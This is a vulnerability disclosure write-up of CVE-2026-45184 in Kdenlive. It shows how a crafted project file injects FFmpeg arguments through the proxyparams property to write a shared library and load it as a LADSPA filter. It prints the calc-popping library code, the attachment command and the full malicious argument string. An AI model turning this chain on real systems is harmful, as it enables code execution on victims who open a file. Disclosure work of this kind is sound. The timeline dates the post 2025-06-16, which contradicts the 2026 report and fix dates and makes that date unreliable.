CVE-2026-45184 – Popping calc on Kdenlive

TL;DR

This is a write-up of CVE-2026-45184, a vulnerability in Kdenlive found by Codean Labs in collaboration with Radically Open Security, which was patched in version 26.04.1

Due to this issue, a malicious user could create a project file that when opened using Kdenlive would resolve in code execution on the target victim’s host.

This write-up explains the full exploitation steps, featuring a bunch of fun FFmpeg parameters, and provides a proof-of-concept at the end.

Kdenlive

Kdenlive is an open-source video editor based on MLT Framework and KDE frameworks.

It uses project files (.kdenlive files) to describe the structure of a project, including input clips, audio tracks, subtitles, etc. Most of the video editing is performed via FFmpeg and the MLT framework, while the project management is completely custom made, and based on XML documents.

Project files contain the structural description of the editing sequence, and include the path of each input resource, together with video editing metadata and many other interesting features, including our new favorite one: proxy clips.

Our way in: proxy clips

So, what are proxy clips? When editing using high quality clips, in order to avoid allocating the computing resources needed to perform the edit directly on the full quality clips, video editors use proxy clips: low-resolution, lightweight copies of high-resolution video files that are easier to handle and edit.

Kdenlive supports the creation of proxy clips through FFmpeg.

In the project file a user can specify which clips wants to generate proxies for, and when the proxy clips have to be generated:

<chain id="chain0" out="00:00:04.960">
  <property name="length">125</property>
  <property name="eof">pause</property>
  <property name="resource">/path/to/input/clip</property> <!-- CLIP SOURCE FILE -->
  <property name="mlt_service">avformat-novalidate</property>
  <property name="seekable">1</property>
  <property name="audio_index">-1</property>
  <property name="video_index">0</property>
  <property name="_replaceproxy">1</property> <!-- TRIGGERS THE CLIP GENERATION EVERYTIME THE PROJECT IS OPENED -->
  <property name="kdenlive:clipname">clip.mkv</property>
  <property name="kdenlive:clip_type">0</property>
  <property name="kdenlive:folderid">-1</property>
  <property name="kdenlive:id">2</property>
  <property name="kdenlive:file_size">2747</property>
  <property name="kdenlive:originalurl">clip.mkv</property>
  <!-- ... -->
</chain>
[...]
<playlist id="main_bin">
  [...]
   <property name="kdenlive:docproperties.proxyparams"> We'll talk about this later...</property>
  [...]
</playlist>

The proxy clip generation is performed by an async job that, when _replaceproxy is set to 1, will be executed as soon as the user opens the project with Kdenlive.

The async job parses the kdenlive:docproperties.proxyparams property in the playlist XML tag to retrieve the FFmpeg arguments needed to generate the proxy clip:

//...
proxyParams = pCore->currentDoc()->getDocumentProperty(QStringLiteral("proxyparams")).simplified();
//...
const QStringList params = proxyParams.split(QLatin1Char(' '), Qt::SkipEmptyParts);
for (const QString &s : params) {
    QString t = s.simplified();
    parameters << t;
    if (t == QLatin1String("-i")) {
        parameters << source; 
    } 
}
//...
m_jobProcess->start(KdenliveSettings::ffmpegpath(), parameters, QIODevice::ReadOnly);

What it really does is creating an argument list for FFmpeg starting from the user-provided kdenlive:docproperties.proxyparams property. By populating this property, we effectively control almost every FFmpeg argument, with the sole exception of the -i one.
In fact whenever the proxyparams parser encounters the -i string, it appends to the argument list the string itself and the source value.
The source value is constructed starting from the resource property of the clip for which the job will generate the proxy:

  • If the resource property contains an absolute path, so if it starts with /, the value is used verbatim;
  • if the resource property does not contain an absolute path, the value is used as a relative path starting from the folder containing the project file.

We controlled the FFmpeg arguments, but we could not provide arbitrary input files or use remote sources over HTTP because of how the source was constructed. Is there a way to get RCE just with that? (you already know the answer, don’t you?)

FFmpeg arguments are all you need

Gaining code execution when controlling FFmpeg arguments and its input source is not a difficult task; the real challenge here was to create a working exploit controlling only the project file. In order to do so, we had to spend quite some days (and a couple of nights too) reading the FFmpeg documentation and discover our new favorite arguments.

The goal was to abuse the FFmpeg feature that allows to load shared libraries for audio filtering via the -af ladspa=file=/path/to/filter_library.so argument to gain code execution, as documented in this GTFOBins entry.
We needed a way to write a file on the victim’s filesystem that we would later load as a filter, so our first question was: how to achieve file write using FFmpeg?

File write abusing FFmpeg arguments

To gain the ability of writing a file on a chosen location, we can abuse the  MKV attachments feature. FFmpeg allows to extract the files attached to an MKV video via the -dump_attachment /path/where/to/write argument, giving us the ability to write arbitrary content in an arbitrary file as long as its location is writable by the FFmpeg process.

Everything looked nice: we just needed a way to input our malicious MKV file attached with a shared library, extract its attachment to a controlled path and then load it using the audio filter argument.

That’s exactly where we were stuck for quite a while. We only controlled the project file, how to magically make an MKV video appear?

We started wondering if there was a way to provide our malicious video input from a remote source. We couldn’t directly use an HTTP source because it would be interpreted by the parser as a relative path and concatenated to the project’s folder path, but maybe there’s an alternative way.

The virtual concatenation script demuxer enters the game

Luckily for us FFmpeg allows to demux a list of files one after the other, as if all their packets had been muxed together, as documented in FFmpeg format documentation.

This can be done by setting the input file format to concat using the -f concat argument and providing a text file in extended-ASCII, with one directive per line, as the input file. For our objective, we can think about the input file as a simple text file containing a line for each input clip constructed in the following way:

file URI_FOR_CLIP_1
file URI_FOR_CLIP_2
...

FFmpeg supports both the http and the data protocols as inputs, so we could provide an input video via a text file containing its content embedded in a data protocol URI, avoiding to rely on a remote HTTP server.

To make sure that FFmpeg accepts the data protocol we had to make use of the -protocol_whitelist file,data argument together with the -safe 0 argument, which tells the concat demuxer to accept any input source as documented here.

One last missing piece: how to provide the input file for the concat demuxer?

We immediately thought about creating a polyglot file that could be accepted by both Kdenlive as a project file and the FFmpeg concat demuxer as a valid list of input sources. Turns out that both the parsers are quite strict on the syntax, so it is not possible to naively generate such a file.

But FFmpeg being such a flexible tool, we just knew that there had to be something there ready for us to use for this, we just had to dig a bit more. And indeed there was! We found out about the skip_initial_bytes argument, allowing one to set number of bytes to skip before reading header and frames from the input source.

Using this argument, it was possible to make something really close to our original polyglot idea. We could just put our FFmpeg input source in an XML comment at the end of the KDEnlive project file and tell FFmpeg to read from the offset where the content starts.

Found the last missing piece, it was time to put all the pieces together and earn our calc.

Completing the puzzle

The first thing that we need to do is compile a malicious shared library that opens the calculator application when loaded:

#include <stdlib.h> 
__attribute__((constructor)) void init() { 
   system("/usr/bin/gnome-calculator &"); 
}

Then we need to generate a malicious MKV video containing the compiled shared library as an attachment; we can easily do that using FFmpeg:

ffmpeg -i original.mkv -attach ./lib.so -metadata:s:t:0 mimetype=application/octet-stream -c copy malicious_video.mkv

We can now generate our payload containing the input source for the concat demuxer with the data URI of our malicious video, and the arguments needed to make FFmpeg parse the project file as the input source starting from the XML comment:

<?xml version='1.0' encoding='utf-8'?>
<mlt LC_NUMERIC="C" producer="main_bin" version="7.19.0" root="">
    <!-- ... -->
    <chain id="chain0" out="00:00:04.960">
        <!-- ... -->
        <property name="resource">single_file_rce.kdenlive</property>  <!-- project’s filename to force FFmpeg into using the project file as input source -->
        <!-- ... -->
        <property name="_replaceproxy">1</property>
        <!-- ... -->
    </chain>
    <!-- ... -->
    <!-- MALICIOUS FFMPEG ARGUMENTS -->
    <property name="kdenlive:docproperties.proxyparams">-dump_attachment:2 /tmp/pwnd.so -f concat -safe 0 -protocol_whitelist file,data -skip_initial_bytes <OFFSET> -i -f null -af ladspa=file=/tmp/pwnd.so -</property>
    <!-- MALICIOUS FFMPEG ARGUMENTS -->
    <!-- ... -->
</mlt>
<!-- the input source in a XML comment –->
<!--file data:video/x-matroska;base64,...?random=-->

And we’re done! Opening this project with a vulnerable version of Kdenlive will resolve in /usr/bin/gnome-calculator being executed.

Proof of Concept

A proof of concept malicious project file can be found in our PoC repository.

Mitigation

At Codean Labs we realize as no other how difficult it is to make secure software. We provide you with the insights to know which risks you are facing, and when required, help you mitigate these risks. We perform application security assessments in an efficient, thorough and human manner, allowing you to focus on development. Click here to learn more.

Update your version of Kdenlive to any version >= 26.04.1 to mitigate this vulnerability.

To address this issue quickly, the developers introduced an initial fix in commit 94042ddd, included in release 26.04.1, which blocks dangerous arguments in the proxyparams property. A broader mitigation is planned for version 26.08.0, which will warn users when unexpected input is detected in a project file.

Timeline

  • 2026-04-29 – Report submitted to the Kdenlive maintainers
  • 2026-05-09 – CVE-2026-45184 assigned, advisory and fixes released
    • Kdenlive v26.04.01 released
  • 2025-06-16 – This blog post is published

You’ve seen what we do. Let’s talk about what we can do for you.